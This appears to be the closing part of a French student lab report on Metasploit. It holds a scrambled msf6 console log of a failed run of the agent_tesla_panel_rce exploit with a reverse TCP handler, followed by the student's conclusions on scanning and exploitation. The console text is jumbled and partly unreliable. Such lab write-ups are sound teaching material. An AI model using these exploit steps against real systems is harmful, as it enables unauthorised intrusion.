[*] St [*] Ru [!] Th itatio	arted reverse TCP handler on 10.1.1.15:4444 nning automatic check ("set AutoCheck false" to disable) e target is not exploitable. ForceExploit is enabled, proceedi n.	ng with	explo
[*] Ta [*] Se	rgeted operating system is: nding nbn/meterpreter/reverse ton command payload		
[-] Ex [*] Ex <u>msf6</u> e	ploit aborted due to failure: unexpected-reply: Payload upload ploit completed, but no session was created. xploit(multi/http/agent_tesla_panel_rce) >	failed	:(

Après avoir testé quelques exploits, un système d'exploitation Windows 10 à jour semble être une impasse

V. Tirez des conclusions sur ce que vous venez de découvrir, documentez ce TP et rendez-le sur Moodle dans les délais indiqués. Le barème reposera sur la qualité de votre rendu, orthographe, rédaction, explications, illustration...

Dans ce TP j'ai appris à utiliser msf (metasploit-Framework) qui permet dans un premier temps de scanner sur une pool d'adresse prédéfinies, les ports accessibles par la suite et en fonction du port d'attaque choisie on peut exploiter une faille de manière assez simplistes